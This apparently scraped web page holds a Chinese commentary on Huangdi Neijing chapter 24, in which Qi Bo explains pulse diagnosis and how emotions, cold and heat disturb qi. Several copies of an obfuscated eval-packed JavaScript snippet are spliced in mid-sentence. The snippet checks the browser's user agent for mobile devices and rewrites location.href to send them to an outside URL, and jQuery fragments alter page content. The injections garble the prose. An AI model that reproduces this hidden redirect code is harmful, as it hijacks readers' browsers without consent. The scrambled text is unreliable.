有的脉象如春日暖阳，温暖而有力，那是气血充盈、正气充沛的表现；有的则如秋风落叶，萧瑟而无力，透露出气血亏虚、正气不足的讯息。更有那些复杂多变的脉象，时而如波涛汹涌，时而如细水长流，它们或是病邪抗争的战场，或是正气恢复的迹象。 医者通过“以手循按”，不仅是在触摸患者的身体，更是在触摸生命的脉动，感受疾病与健康的交织与博弈。这一过程，既是对医者医术的考验，也是对医者心灵的洗礼。因为，每一次的按压，都是对生命的尊重与敬畏；每一次的感知，都是对健康的追求与渴望。 岐伯说：脉象的坚实与陷下，简直是中医诊断学中的一抹亮色，精准而深邃，如同夜空中最亮的星，指引着医者探索人体奥秘的航向。 脉象坚实，这画面感，就像是山间溪流遭遇了巨石阻挡，水流虽急却难以逾越，形成了局部的湍急与回旋。在中医的世界里，这代表着病邪的强势入侵，气血与之抗争，却因力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428733|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量悬殊而受阻，从而在体内形成了“战场”——局部的瘀滞与充实。这样的脉象，往往是实证、热证或邪气盛实的直接体现，提醒着医者，该是时候亮出你的“银针”或“汤药”，为患者驱散阴霾，重归平静了。 而脉象陷下，则像是冬日里的一片枯枝败叶，无力地挂在枝头，随风摇曳，随时可能飘落。它告诉我们，患者体内的气血已不足以支撑起生命的脉动，正气虚弱，如同年迈的老者，难以再鼓起年轻时的那份激情与力量。这样的脉象，多见于虚证、寒证或阴证，是身体在向我们发出求救信号，告诉我们需要温柔以待，细心呵护，用温补之法，慢慢恢复其生机与活力。 这两种脉象的微妙变化，就像是中医诊断学中的两把钥匙，能够打开通往患者内心世界的大门，让医者得以窥见那些肉眼难以察觉的病理信息。岐伯的解读，不仅是对脉象形态的精准描述，更是对中医整体观与辨证施治思想的深刻体现。它告诉我们，中医的诊断与治疗，从来都不是孤立的、片面的，而是需要综合考虑患者的整体状况，通过望、闻、问、切四诊合参，才能做出准确判断，制定出最适合患者的治疗方案。 总之，岐伯的这一论述，不仅是对中医切诊技术的深刻阐述，更是对中医整体观与辨证施治思想的生动体现。它告诉我们，中医的诊断与治疗，始终是建立在对人体生理病理变化的全面把握与深刻理解之上的。 第24章 （5）怒则肝气上逆 黄帝说：我已经知道许多疾病的产生都是气机失调引起的，如暴怒则上逆，会导致什么样的疾病呢？ 岐伯回答说：“情绪与脏腑功能之间的关联”无疑是一颗璀璨的星辰，既古老又常新，引领着无数医者与学者探索生命的奥秘。 “大怒就会使肝气上逆，血随气逆”，这句话不仅仅是文学作品中的华丽辞藻，它背后蕴含着中医“情志致病”理论的深刻智慧。在中医看来，人的情绪与五脏六腑息息相关，每一种情绪都有其对应的脏腑归属。怒，作为“七情”之一，与肝有着不解之缘。当怒火中烧时，肝气便如同被点燃的干柴，熊熊燃烧，直冲而上，导致肝气上逆。而气血相依，气行则血行，气逆则血亦随之逆行，从而可能引发一系列身体不适，甚至疾病。 这种理论并非空穴来风，而是基于长期的临床观察与实践总结。在中医的诊疗过程中，医生常常会通过询问患者的情绪状态，来判断其脏腑功能的健康状况。对于因情绪波动而引发的疾病，中医则强调“治病先治心”，通过调节情绪、疏通气机来达到治疗疾病的目的。 当然，随着现代医学的发展，我们对于情绪与身体健康之间关系的认识也在不断深化。但不可否认的是，中医“情志致病”理论为我们提供了一个独特的视角，让我们更加全面地理解身心健康的奥秘。在这个快节奏、高压力的时代，学会调节情绪、保持心态平和，无疑是对我们自身健康的一种负责和呵护。 在中医五行学说中，肝属木，主疏泄，调畅气机，喜条达而恶抑郁。情绪中的“怒”与肝相应，适度的怒可以抒发肝气，使气机通畅；但过度的大怒，则会导致肝气郁结，进而出现肝气上逆的病理变化。肝气上逆时，不仅会扰乱体内气机的正常运行，还可能引发一系列的身体不适。 “血随气逆”。在中医看来，气与血是相互依存、相互为用的关系。气能生血、行血、摄血，血则是气的载体和物质基础。当肝气逆乱时，其推动血液运行的力量也会发生异常，导致血液不能按照正常路径运行，进而出现“血随气逆”的现象。在极端情况下，如肝气极度亢盛，确实有可能出现呕血等严重症状，这多是因为肝气上逆，迫血妄行所致。 在中医的五行学说中，“肝气乘脾而出现飧泄”这一说法，不仅是对脏腑间相互作用机制的深刻描绘，也是中医整体观念与动态平衡思想的生动体现。这里，我们不妨以“木克土”的五行相克原理为钥匙，打开这扇通往中医智慧的大门。 首先，我们要明确的是，中医将人体看作是一个复杂而精密的系统，各脏腑之间既相互独立又紧密联系，共同维持着人体的生命活动。在这个系统中，五行学说作为一种重要的理论工具，被用来阐释脏腑之间的相生相克关系。 具体到“肝气乘脾”这一情境，我们可以理解为肝（属木）与脾（属土）之间的相克关系失衡所致。在正常情况下，肝木应该疏泄有度，既不过于亢奋也不过于抑郁，以维持气血的顺畅流通。然而，当肝气过于旺盛时，就如同狂风骤雨般侵袭脾土，导致脾的运化功能受损。 脾作为“后天之本”，其重要性不言而喻。它主要负责运化水谷精微，将我们摄入的食物转化为人体所需的营养物质，并输布到全身各处。同时，脾还参与水液的代谢过程，确保体内水湿的正常排出。然而，一旦脾的运化功能受损，水湿便无法得到有效运化，反而积聚在体内，形成“水湿内停”的病理状态。 这些积聚的水湿，如果下注肠道，便会引发泄泻的症状，也就是我们所说的“飧泄”。飧泄一词，形象地描绘了大便稀薄、完谷不化的特点，它正是脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428734|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胃功能受损、水湿下注肠道的直接后果。 在日常生活中，我们常听人说“笑一笑，十年少；愁一愁，白了头”，这话虽略显夸张，但其中蕴含的哲理却不容忽视——情绪的稳定与乐观，确实是维护我们身心健康的一把金钥匙。特别是在中医的视角下，情绪与脏腑功能之间的微妙联系，更是让我们深刻意识到，保持良好的心态，对于肝脏乃至整个脏腑系统的健康平衡，都是至关重要的。 想象一下，我们的身体就像一座精密的宫殿，各个脏腑则是宫殿中的不同房间，它们各司其职，又相互依存，共同维持着宫殿的和谐与安宁。而情绪，就像是宫殿中的气流，它时而轻柔温暖，滋养着每一个房间；时而狂暴猛烈，可能破坏宫殿的平静。因此，学会控制情绪，让它在适度的范围内波动，无疑是对我们身体这座宫殿的最好呵护。 当然，面对生活中种种不如意，情绪难免会有起伏。但关键在于，我们要学会及时调整，不让负面情绪长时间占据我们的内心。这不仅需要我们自身的努力，有时也需要借助外界的力量。比如，当发现自己长时间处于焦虑、抑郁等负面情绪中时，不妨及时寻求专业的心理咨询或中医治疗。 中医讲究“辨证施治”，对于情志致病的症状，中医会通过望闻问切等四诊合参的方法，全面了解患者的身体状况和情绪状态，然后针对性地制定治疗方案。通过调和脏腑、平衡气血等方法，中医能够帮助患者缓解情绪压力，恢复脏腑功能的平衡，从而达到 治疗疾病、恢复健康的目的。 因此，我想说，保持情绪的稳定和乐观，是我们每个人都可以做到的健康投资。而面对情志致病的症状时，及时寻求专业的帮助，更是我们对自己负责、对家人负责的表现。让我们共同努力，守护好自己的身心健康吧！ 第24章 （6）高兴则气缓 黄帝说高兴则气涣散，会是什么情况那？ 在探讨岐伯这一古老智慧时，我们不禁要穿越回那个医道与自然哲学交相辉映的时代。岐伯，作为中医理论的奠基人之一，其言论往往蕴含着深刻的生命哲理与养生之道。 岐伯回答说关于“高兴会使气和顺，而志意畅达，荣卫之气通利，所以说是气缓”这一论述，我们可以从以下几个方面来细品其深意。 首先，从情绪与生理的角度来看，岐伯的这番话揭示了情绪状态对身体健康的微妙影响。高兴，作为一种积极的情绪体验，能够促使人体内的“气”流动更为和谐顺畅。在中医理论中，“气”是构成人体和维持生命活动的最基本物质，具有推动、温煦、防御、固摄和气化等作用。当人心生喜悦，气血自然随之舒畅，各脏腑功能得以正常发挥，荣卫之气（即营气和卫气，分别负责营养全身和防御外邪）的循环也就更加通利无阻。 在探讨中医心理学的微妙境界时，“志意畅达”这一理念，如同古木逢春，为心灵的土壤播撒下生机勃勃的种子。在中医的浩瀚智慧中，志与意不仅仅是词汇的堆砌，它们是心灵世界的两位舵手，引领着人体这艘巨轮在情绪的海洋中稳健前行。 首先，让我们细品“志”之一字。在中医心理学的语境下，它不仅是简单的意志力的象征，更是内心深处那份坚定不移、勇往直前的力量源泉。它如同山巅之石，任凭风吹雨打，依旧岿然不动，给予我们在逆境中坚持下去的勇气与决心。当“志”得以畅达，我们的内心便如同被阳光照耀的田野，充满了生长的力量与希望。 再论“意”，它则更多地关联于我们的思维活动，是心灵深处细腻入微的感受与理解的集合。在中医看来，“意”的畅通无阻，意味着我们的思维能够像清泉般流淌，清晰而敏捷，不受杂念所扰。这种状态下，我们不仅能更深刻地洞察世间万物，还能在复杂多变的环境中迅速做出明智的决策。 而“志意畅达”的和谐共生，则是情绪调节与生理机能优化的关键。正如您所言，高兴的情绪如同春日暖阳，能够融化心头的冰雪，让志与意得以自由翱翔。在这样的情绪氛围中，我们的思维更加开阔，意志更加坚定，仿佛拥有了无坚不摧的力量，能够勇敢地面对生活中的每一个挑战。 进一步来说，这种内在的和谐与力量，还会反作用于我们的身体，促进气血的和谐运行。中医讲究“心主血脉”，即心脏的功能直接影响到全身血液的循环。当我们的志意畅达，心情愉悦时，心脏便能以最佳状态工作，推动血液在全身顺畅流动，滋养每一个细胞与器官，从而达到身心的全面健康。 因此，在中医心理学的视角下，“志意畅达”不仅是心灵的追求，更是健康生活的基石。它提醒我们，在面对生活的种种挑战时，不妨多一份乐观与豁达，让心灵的舵手——志与意，引领我们驶向更加美好的未来。 谈及“气缓”这一中医术语，我们不妨先抛开字面意思的束缚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428735|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想象一下春日里微风拂面的温柔与和谐。在中医的语境中，“气缓”正是这样一种理想状态的形象描绘，它并非指体内气的流动变得慵懒迟缓，而是达到了一个精妙绝伦的平衡点——既非疾风骤雨般的急促，也无凝滞不前的滞涩。 想象一下，身体内的气如同一条清澈见底的溪流，在经络的河道中悠然自得地流淌，不急不缓，恰到好处。这种“气缓”的状态，正是中医所追求的“和”之境界，它意味着体内各系统、各脏腑之间的协调与和谐，是生命活动有序进行的最佳状态。 在这样的状态下，气能够充分发挥其滋养全身、温煦脏腑、抵御外邪的生理功能。它如同一位勤劳的园丁，精心呵护着身体的每一寸土地，让每一个细胞都沐浴在充足的营养与活力之中。同时，气缓还意味着情绪的稳定与心态的平和，让人在面对外界纷扰时能够保持一颗淡然处之的心，从而远离疾病的侵扰。 因此，当我们说“气缓”时，实际上是在赞美一种生命的艺术——在动态与静态之间找到那个完美的平衡点，让身体与心灵在和谐中共舞，共同谱写出一曲健康与活力的赞歌。 岐伯的这句话不仅是对情绪与生理之间关系的深刻洞察，更是对养生之道的一种精妙阐述。它告诉我们，保持积极乐观的心态，对于维护身体健康、促进气血和谐具有不可估量的价值。在快节奏的现代生活中，我们或许更应该学会调整自己的心态，让心灵回归自然，享受那份由内而外的喜悦与宁静。 第24章 （7）悲哀则气消散 黄帝问：悲哀则气消散，这是为什么？ 岐伯回答说：情感与脏腑之间存在着紧密的联系，这种联系被形象地称为“五志归五脏”。其中，悲哀之情正是由肺脏所主宰的。当悲哀之情过度时，确实有可能导致“心系急迫”的感觉，这可以理解为情绪对心脏功能的一种影响，因为中医也认为心主神明，是情感的“总司令。 “悲哀过度导致肺气郁结”，在中医看来，肺主气，司呼吸，且能调节全身气机。悲哀作为一种负面情绪，当其超过人体所能承受的阈值时，便会引发肺气的郁结，导致气机在肺部的流通受阻，进而在中医理论层面上形成了一种“胀满”的感受。 这种“胀满”并非指物理空间上的膨胀，而是指气机在局部区域的积聚和阻滞，它影响了肺的正常生理功能，同时也可能波及到其他脏腑，因为中医强调人体是一个有机整体，各脏腑之间通过经络相连，相互影响。 当上焦闭塞不通时，营卫之气就得不到布散”这句话无疑是揭示了这一病理过程的关键一环。上焦作为心肺所在的区域，被誉为“清阳之府”，其气机的通畅程度，直接关系到全身气血的流畅与否。 想象一下，如果我们的心灵被悲伤的情绪所笼罩，就像是一片原本晴朗的天空突然被乌云遮蔽，那么上焦这片“清阳之地”也会受到影响，变得不再那么通透。悲哀导致的气机郁结，就像是在这片区域里布下了一层无形的屏障，使得原本应该顺畅流通的气机变得滞涩难行。 而营卫之气，作为中医理论中维持人体生命活动不可或缺的“生命之基”，它们的正常运行依赖于气机的畅通无阻。营气行于脉中，具有化生血液和营养全身的功能；卫气则行于脉外，具有温养脏腑、护卫肌表、抗御外邪的作用。当悲哀导致上焦气机闭塞时，营卫之气的布散自然也就受到了影响，无法顺畅地滋养全身，从而导致身体机能的逐渐下降。 这就像是一条原本潺潺流动的溪流，因为上游的阻塞而变得水流不畅，最终影响到下游的灌溉和生态。 与此同时，热气就会喻闭于中，而耗损肺气”。这里的“热气”，并非指外界炙热的空气，而是人体内部因气机不畅而积聚起来的一种郁热。它就像是一股被囚禁的能量，渴望得到释放，却找不到出路。 想象一下，当我们遭遇重大打击或长期沉浸在悲伤之中，身体内的气机就像是被无形的枷锁束缚，无法正常流动。这股被束缚的气机，在不断地挣扎与碰撞中，逐渐转化为一种郁热。这种郁热，由于无法通过正常的渠道如排汗、呼吸等方式发散出去，只能郁积在体内，如同夏日午后被阳光直射的密闭房间，温度不断攀升。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428736|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随着时间的推移，这股郁热会不断侵蚀着我们的肺气。肺气，作为主管呼吸和宣发肃降的重要脏腑之气，一旦受损，便会导致呼吸功能的减弱。呼吸是生命之根本，呼吸功能的减弱，意味着身体获取氧气的能力下降，进而影响到全身各个器官的正常运作。 气消”一词，则形象地描绘了肺气受损后的一种状态。这里的“消”，并非简单的减少或消失，而是指肺气在受到热气侵蚀后，其功能逐渐衰退，甚至丧失。当肺气衰弱到一定程度时，我们的呼吸就会变得浅短无力，更为严重的是，肺气受损还会引发身体免疫力的下降。肺气在中医中也被视为抵御外邪的第一道防线，当这道防线变得脆弱不堪时，外界的细菌、病毒等致病因素便更容易乘虚而入，导致各种疾病的发生。 它告诉我们，在面对生活中的种种不如意时，保持心情的舒畅和情绪的稳定是何等重要。只有这样，我们才能避免郁热的产生，保护好自己的肺气，从而拥有一个健康而充满活力的身体。 综上所述，岐伯的这段话深刻揭示了悲哀之情对人体健康的潜在威胁。它提醒我们，在面对生活中的不如意时，应当学会调节自己的情绪，避免过度的悲哀对身心造成损害。同时，也强调了中医理论中情志与脏腑之间的紧密联系，以及保持气机通畅对于维持身体健康的重要性。 第24章 （8）恐惧则气下 在探讨岐伯这一深邃的中医理论时，我们不禁要踏入那古老而神秘的医学殿堂。岐伯，作为中医理论的奠基人之一，其言论往往蕴含着对人体生理病理的独到见解。关于“恐惧就会使精气下却，精气下却就会升降不交”的论述，我们可以从中医的阴阳五行、气血运行的角度来解读。 黄帝问：恐惧则气下陷，这是怎么回事？ 岐伯说：“心主神明”和恐惧对心神的影响，这简直就是一场情绪与气血的微妙舞蹈。 想象一下，你的心就像是一位优雅的舞者，在“神明”的指挥下，引领着气血这支庞大的舞蹈团队在身体各处优雅地穿梭。但突然，恐惧这位不速之客闯入了舞池，它像一股强大的气流，扰乱了舞者的节奏，让气血这支队伍也跟着乱了阵脚。 “心神不宁”，就像是舞者失去了音乐的指引，开始在舞台上胡乱旋转，气血也因此失去了原本精心编排的轨迹，开始四处乱窜。而在这混乱之中，作为团队核心的“精气”——那位最优雅、最关键的领舞，也因为失去了平衡，不慎滑入了舞池的低洼地带，也就是下焦。 这里的“精气下却”，就像是领舞突然跌倒了，不仅自己无法继续表演，还连带着整个团队都陷入了困境。精气，作为人体的正气之源，一旦失去正常的升发与布散，就意味着整个身体的能量系统都受到了影响，各种不适和疾病也就可能接踵而至。 岐伯说：我们的精气是需要升降平衡的，人体内部就像是一个精密的宇宙，精气则是其中不可或缺的星辰，它们按照既定的轨迹运转，维系着这个宇宙的和谐与稳定。 一旦精气“下却”，就如同星辰偏离了轨道，整个宇宙的平衡就被打破了。这里的“升降出入”，正是中医描绘人体气机运动的一幅壮丽画卷。它不仅仅是气血、水谷精微等物质在体内的简单流动，更是生命活力与能量转换的生动体现。升降相因，出入相济，共同构成了人体气机运动的基本法则。 当升降不交时，就像是一条原本畅通无阻的河流被突然截断，上游（上焦）因缺水而干涸，下游（下焦）则因积水而泛滥。在人体中，这就意味着气血、水谷精微等生命所需的重要物质无法在上下之间顺畅流通。上焦，作为心肺等脏腑的居所，得不到足够的滋养，自然会感到“闭塞”，如同久旱的田地渴望甘霖。 而下焦呢？由于气机的下陷，原本应散布于全身的气血大量聚集于此，造成了“胀满不适”的局面。这就像是一场突如其来的洪水，虽然带来了大量的水源，但却因为无法合理分配而造成了灾害。 在中医的浩瀚宇宙中，气机的升降平衡无疑是那颗最璀璨的星辰，它不仅指引着生命之舟的航向，更是我们追求健康与长寿的宝贵灯塔。岐伯老先生的一句“气下”，简短却深邃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428737|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，仿佛穿越了千年的时光，依旧在耳边回响，提醒着我们要时刻关注这体内微妙的平衡。 确实，中医强调的是一种整体的、动态的平衡观，而气机的升降平衡正是这一观念在人体生理病理层面的具体体现。无论是采用何种治疗手段——是古老而神秘的药物调理，还是精准而巧妙的针灸推拿，亦或是简单却有效的情志调节，它们的核心目标都是一致的：那就是恢复并维护人体内部气机的和谐与稳定。 在这个过程中，气血、水谷精微等生命物质就像是体内的河流与养分，它们的顺畅流动与合理分配，直接关系到全身各个脏腑器官的滋养与功能发挥。只有当这些生命物质能够在体内自由穿梭，无碍无滞时，我们的身体才能保持最佳的状态，抵御疾病的侵袭，享受生命的美好。 而岐伯所言的“气下”，实际上是对这一系列复杂而微妙的病理变化的高度概括。它不仅仅指出了精气因恐惧等负面情绪而下陷的具体现象，更深刻地揭示了情绪对人体内部气机运行的深远影响。这告诉我们，保持情绪的稳定与心神的安宁，对于维护身体健康、预防疾病具有不可忽视的重要性。 因此，当我们在日常生活中遇到压力与挑战时，不妨试着放慢脚步，深呼吸，让心灵回归平静。记住，真正的健康不仅仅是没有疾病，更是一种身心的和谐与平衡。而这份平衡，就掌握在我们自己的手中。 第24章 （9）遇寒则气收 黄帝说遇寒则气收敛，这是什么原因呢？ 岐伯回答说：在探讨“寒冷之气侵袭人体就会使腠理闭密，荣卫之气无法畅行而收敛于内，所以说是气收”这一中医理论时，我们可以从多个维度来理解和分析。 在探讨中医基础理论这一深邃而博大的领域时，我们不难发现，古人以其独到的智慧，将人体视为一个精妙绝伦、和谐共生的系统。其中，“腠理”与“荣卫之气”的概念，正是这一体系中不可或缺的重要元素，它们共同编织起人体抵御外邪、维持内环境稳定的第一道坚实防线。 首先，让我们聚焦于“腠理”。在中医的语境下，腠理并非仅仅指皮肤表面的纹理或是肌肉间的缝隙那么简单，它更像是一个复杂而精细的网络，遍布全身，连接着内外，是气血津液输布与代谢的微观通道。这个网络既是身体与外界环境交换的门户，也是内邪外泄、外邪入侵的关键节点。因此，保持腠理的通畅与和谐，对于维持人体的健康状态至关重要。 再谈“荣卫之气”，即营卫之气，它们是中医理论中至关重要的生命物质。营气，如涓涓细流，滋养着全身的脏腑经络，是化生血液、濡养全身的源泉。它行于脉中，与血同行，共同构成了人体生命活动的物质基础。而卫气，则如忠诚的卫士，巡逻于脉外，不仅温养着我们的肌肤，更通过调节腠理的开阖，控制汗液的排泄，以此作为抵御外邪入侵的第一道屏障。当外邪试图侵犯人体时，卫气会迅速作出反应，或通过增强体表防御，或通过促进腠理排汗以驱邪外出，确保机体的安宁与和谐。 "寒则凝滞"这一理论，宛如冬日里的一缕寒风，轻轻揭示了自然界与人体之间的微妙联系。当寒冷之气悄然侵袭我们的身体时，它不仅仅带来了体表温度的下降，更在无形中触动了体内气血运行的微妙平衡。 想象一下，气血在经络中欢快流淌，如同山间清泉，滋养着每一寸肌肤与脏腑。然而，随着寒气的入侵，这股生命的活力似乎被按下了减速键，气血的运行变得迟缓，甚至在某些地方凝滞不前。这正是“寒则凝滞”的生动写照。 面对这样的挑战，我们的身体并不坐以待毙，而是迅速启动了自我保护机制。腠理，那些原本允许气血自由出入的微小通道，开始变得紧密闭合，仿佛给身体穿上了一层无形的保暖衣，以减少宝贵的热量流失。这一过程，既是身体对寒冷环境的适应性反应，也是中医“天人合一”哲学思想的体现。 在这样的背景下，荣卫之气也开始了它们在体内的重新布局与调整。荣气，即营气，虽然受到腠理闭密的影响，其流通或许会受到一定程度的阻碍，但它依然坚守岗位，默默滋养着全身。而卫气，则如同忠诚的卫士，在体表筑起了一道坚实的防线，不仅温养着肌肤，还加强了对外界邪气的防御。这种荣卫之气的重新分布，正是“气收”现象的具体表现，它体现了中医理论中“气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428738|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的灵活性与智慧性。 当我们深入探讨“气收”这一中医理论时，不得不惊叹于古人对人体生理机能的深刻理解与精准把握。确实，“气收”远非仅仅是气血在体表与内里之间的简单转移，它更像是一场精密而复杂的内部环境重构，涉及到脏腑功能的微妙调整、气血的精细再分配等多个层面。 在中医的视角下，人体是一个高度智能化的生态系统，各个部分相互依存、相互制约，共同维持着整体的和谐与平衡。当外界环境发生变化，如寒冷侵袭时，机体会迅速启动自我适应和调节机制，以应对这一挑战。“气收”便是这一机制中的关键环节之一。 在这个过程中，脏腑作为气血生成与调节的核心，会根据外界环境的变化作出相应的调整。它们或加强气血的生成，或优化气血的分配，以确保身体各部位都能得到充足的滋养与保护。同时，气血的重新分配也是“气收”过程中的重要一环。原本可能流向体表的气血，在寒冷刺激下，会更多地被引导至内脏及关键部位，以维持核心体温和生命活动的正常进行。 因此，对于“寒冷之气侵袭人体就会使腠理闭密，荣卫之气无法畅行而收敛于内，所以说是气收”这一说法，我们可以理解为中医理论对于人体在寒冷环境下生理反应的一种深刻认识和描述。它揭示了人体在面临外界环境变化时所展现出的自我保护和调节机制，是中医整体观念和辨证施治思想的具体体现。 第24章 （10）遇热则气外泄 此篇的论述不仅揭示了自然界中“火”元素对人体生理的影响，更蕴含了中医“治未病”的深远智慧，即在日常生活中就要注重顺应自然，调和阴阳，以达到养生防病的目的。 黄帝说遇热则其外泄，这是怎么回事？ 岐伯说：当我们踏上这场穿越之旅，深入探索岐伯关于“火热之气”对人体影响的论述时，仿佛是穿越了时空的隧道，直接对话于古代中医的智慧殿堂之中。照亮了中医理论的浩瀚星空，其中蕴含的“天人合一”哲学思想，更是让人叹为观止。想象一下，在那个没有现代医学设备的时代，岐伯却凭借对自然的敏锐观察和对人体奥秘的深刻洞察，提出了这样一种观点：火热之气，作为自然界中的一种重要元素，与人体之间存在着微妙而深刻的联系。当这股力量侵袭人体时，它不仅会促使腠理开放，让荣卫之气得以畅通无阻，还会引发汗液的汹涌而出，从而达到散热降温、维持生命活动平衡的目的。 然而，这其中的奥秘远不止于此。岐伯还进一步指出，汗液的排出不仅仅是水分的流失，更是伴随着气的外泄。这种“气随津泄”的现象，不仅揭示了人体在应对外界环境变化时的自我调节机制，更深刻地体现了中医理论中“气”这一核心概念的复杂性和重要性。 随着腠理的开放，荣卫之气（即营气与卫气，中医理论中维护人体生命活动的重要物质）得以更加顺畅地流通，它们如同江河之水，在人体内奔腾不息，滋养着每一寸肌肤，每一条经络。这种畅通无阻的状态，不仅增强了人体的抵抗力，也为后续的生理变化打下了坚实的基础。 接下来，便是汗液的大量排出。在中医看来，汗液是人体调节体温、排泄废物的重要途径之一。当“火热之气”侵袭人体时，为了保持体温的平衡和内部环境的稳定，人体会自动启动排汗机制，通过汗液的蒸发来散热降温。这一过程中，不仅水分得以排出，更有一部分“气”随着汗液的流失而外泄。这就是岐伯所说的“气随津泄”。 然而，这种“气随津泄”的现象并非全然无益。在中医理论中，“气”与“津”是相互依存、相互制约的。适度的排汗和气的外泄，有助于人体排出多余的湿热之气，保持身体的清爽与舒适。但过度的排汗则会导致气的过度消耗，从而影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428739|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响人体的健康。 “腠理”与“荣卫”。在中医理论中，腠理指的是皮肤的纹理和皮下肌肉的缝隙，是汗液排泄和邪气入侵的门户；而荣卫，则通常指营气与卫气，二者协同作用，维护着人体的内外平衡与免疫功能。当“火热之气”侵袭人体时，如同夏日炎炎，自然界的阳气旺盛，人体亦随之响应，腠理自然而然地张开，以便于散热和排汗。 汗液的大量排出，是身体自我调节、散热降温的重要方式。正如大地在烈日下蒸发水汽以缓解高温，人体也通过排汗来降低体温，维持内环境的稳定。然而，值得注意的是，汗液不仅仅是水分的流失，它还携带着一定量的“气”。在中医理论中，“气”是推动人体生命活动的基本物质，具有温煦、防御、固摄等多种功能。当汗液过量排出时，部分“气”也会随之外泄，即所谓的“气随津泄”。 因此，岐伯的这句话，实际上是在告诫我们，在感受外界火热之气时，要适度调节，避免过度排汗导致气虚体弱。同时，也提醒我们在治疗因火热引起的病症时，要注意固护正气，防止气随汗脱，从而保持人体的健康平衡。 第24章 （11）受惊则气乱 面对“受惊”这一情境，无论是从中医的气机失调角度，还是从心理学的应激反应层面，都揭示了其对人体生理与心理状态的深刻影响。在日常生活中，我们应当学会自我调适，增强心理韧性，以应对不时之需，保持身心的和谐与平衡。 黄帝问受惊则气絮乱，这是什么原因呢？ 岐伯说：“受惊会使心悸动而无所依附，神志不能归心，心中疑虑不定，所以说是气乱”这一深刻主题时，我们不妨从中医理论与心理学的双重视角来解析。 在中医的浩瀚宇宙观里，“心主神明”这一理念，如同夜空中最亮的星，引领我们探索人体奥秘的深邃之处。心，这颗生命之泵，不仅以强劲的力量推动着血液的江河，滋养着每一寸肌肤与脏腑，更是精神世界的至高统治者，掌舵着我们的喜怒哀乐与思维万千。 